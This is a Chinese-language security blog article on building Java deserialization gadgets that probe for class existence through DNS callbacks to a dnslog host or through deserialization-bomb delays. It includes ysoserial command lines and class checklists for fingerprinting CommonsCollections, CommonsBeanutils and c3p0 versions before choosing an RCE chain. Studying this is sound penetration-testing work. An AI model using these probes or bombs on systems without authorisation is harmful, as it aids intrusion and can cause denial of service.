构造java探测class反序列化gadget
0x01 背景
你是否遇到过这样的情况,黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍,均无法RCE。由于没有报错信息,你根本无法确定是下面那个原因导致。
- 没有gadget依赖的jar
- suid不一致
- jar版本不在漏洞版本
- gadget使用的class进入了黑名单
- ……
单纯的盲测,工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget,这些问题将很好解决!
0x02 解决serialVersionUID冲突问题
在构造之前我们先思考一个问题,Java原生反序列化是会检测serialVersionUID
的。当我们本地序列化Class和服务器上的Class SUID不一样的时候,哪怕是真实存在这个类,我们也无法探测成功。涉及这一块检测在JDK如下方法中。
1 | // java.io.ObjectStreamClass#initNonProxy |
我们不难判断出来如果要绕过serialVersionUID
的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过,假设我们要探测A类存不存在。
动态生成一个
A类
不实现Serializable
接口进行序列化。如果线上的A类是实现Serializable接口,第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口,则两者suid都为0L
,第三个条件不符合,自然无需检查。直接序列化
A[].class
,第二个条件直接不符合,直接不用检查SUID,无需关心实现实现Serializable接口。
这里我选择按照1的方式动态生成Class:
1 | public static Class makeClass(String clazzName) throws Exception{ |
0x03 一次失败的构造
沿用之前的包裹大量脏数据绕WAF的思路来构造,发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。
1 | List<Object> a = new LinkedList<Object>(); |
通过Object属性也无法成功。第一个属性反序列化失败,第二个属性依然会被反序列化。
1 | Class A { |
调试后发现不存在class抛出的ClassNotFoundException
异常,被try...catch
了,并不能阻断java.io.ObjectInputStream#readObject
内部流程,但是可以阻断其他可序列化类的readObject
流程。也就是说需要通过ClassNotFoundException来阻断source到sink之间的通路,才能断链。
0x04 通过dnslog探测class
在一次午饭的时候和@NoPoint
师傅交流,说到了可以改造URLDNS这个gadget探测class,我之前是在fastjson中使用过类似的思路。
重新分析了下URLDNS
的调用链,发现可以在HashMap#readObject
处阻断。当反序列化key-value时,如果value是一个不存在的Class的话,将会报错退出for循环,URL对象
作为key
将不会被putForCreate
到hashcode
方法触发dnslog。
1 | // java.util.HashMap#readObject |
最终gadget构造如下:
1 | ({ Authors.NOPOINT,Authors.C0NY1 }) |
1 | java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap |
0x05 通过反序列化炸弹探测class
有些环境可能没有配置DNS服务,这个时候就无法使用上面的gadget来探测。为了应对这个场景,我第一时间想到的就是改造JRMPClient
。但是看了下调用链中的class没有Object类型的属性,没法断链。于是只能去挖掘新gadget,后面大约花了一周时间也没有成果。加之有其他事情,构造的事就搁浅了一段时间。直到无意间拜读@fnmsd
师父的文章,看到了@Joshua Bloch
的《effective java》,瞬间来了灵感。
里面给出了一个反序列化炸弹的技巧,通过构造特殊的多层嵌套HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器所有性能,导致拒绝服务。在这个基础上,我选择消耗部分性能达到间接延时的作用,来探测class。 控制深度确定时间,使用class作为HashSet节点,
1 | ({ Authors.C0NY1 }) |
由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25
到28
之间,切记不要设置太大否则造成DOS。
我们来看下效果。InvokerTransformer类存在,延时25s。
1 | java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28" |
InvokerTransformer666类不存在,不延时。
0x06 配合class checklist食用
要想在实战中使用,我们就需要事先去制作一份class的checklist
备用。下面我通过diff maven中央仓库的统计的结果。最新的checklist
和gadget
都更新到ysoserial-for-woodpecker
项目。
6.1 CommonsCollections
必须存在类:org.apache.commons.collections.functors.ChainedTransformer
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
>= 3.1 or = 20040616 | org.apache.commons.collections.list.TreeList | 是 | 无 |
>= 3.2.2 | org.apache.commons.collections.functors.FunctorUtils$1 | 否 | 无 |
6.2 CommonsCollections4
必须存在类:org.apache.commons.collections4.comparators.TransformingComparator
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
>= 4.1 | 否 | 存在org.apache.commons.collections4.FluentIterable | 无 |
4.0 | 否 | 不存在org.apache.commons.collections4.FluentIterable | 无 |
6.3 CommonsBeanutils
必须存在类:org.apache.commons.beanutils.BeanComparator
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
>= 1.9.0 | 是 | 存在org.apache.commons.beanutils.BeanIntrospector | org.apache.commons.beanutils.BeanComparator -2044202215314119608 |
1.7.0 <= <= 1.8.3 | 是 | 存在org.apache.commons.collections.Buffer | org.apache.commons.beanutils.BeanComparator -3490850999041592962 |
>= 1.6 or = 20030211.134440 | 是 | 存在org.apache.commons.beanutils.ConstructorUtils | org.apache.commons.beanutils.BeanComparator 2573799559215537819 |
>= 1.5 or 20021128.082114 > 1.4.1 | 是 | 存在org.apache.commons.beanutils.BeanComparator | org.apache.commons.beanutils.BeanComparator 5123381023979609048 |
6.4 c3p0
必须存在类:com.mchange.v2.c3p0.PoolBackedDataSource
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
0.9.5-pre9 ~ 0.9.5.5 | 是 | 存在com.mchange.v2.c3p0.test.AlwaysFailDataSource | com.mchange.v2.c3p0.PoolBackedDataSource -2440162180985815128 |
0.9.2-pre2-RELEASE ~ 0.9.5-pre8 | 是 | 不存在com.mchange.v2.c3p0.test.AlwaysFailDataSource | com.mchange.v2.c3p0.PoolBackedDataSource 7387108436934414104 |
以c3p0为例子,我们判断的步骤应该是
- 第一步判断
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
是否存在,若存在C3P0可用 - 第二步判断
com.mchange.v2.c3p0.test.AlwaysFailDataSource
是否存在,存在说明是高版本,suid切换-2440162180985815128
。否则切换7387108436934414104
0x07 最后的思考
有了类探测当然不只可以做排查gadget可用性问题,只要你维护出一个不错的class checklist。如下信息都可以判断:
- Oracle jdk or Open jdk
- 是jre还是jdk
- 中间件类型(辅助构造回显/内存马)
- 使用的web框架
- BCEL classloader是否存在
- 判断java版本是否低于<7u104(该版本可以00截断)
- ……
其他类型(Xstream/Fastjson/SnakeYaml…)的反序列化gadget也是一样的思路,小tips是否可以变成利器,看挥舞它的人。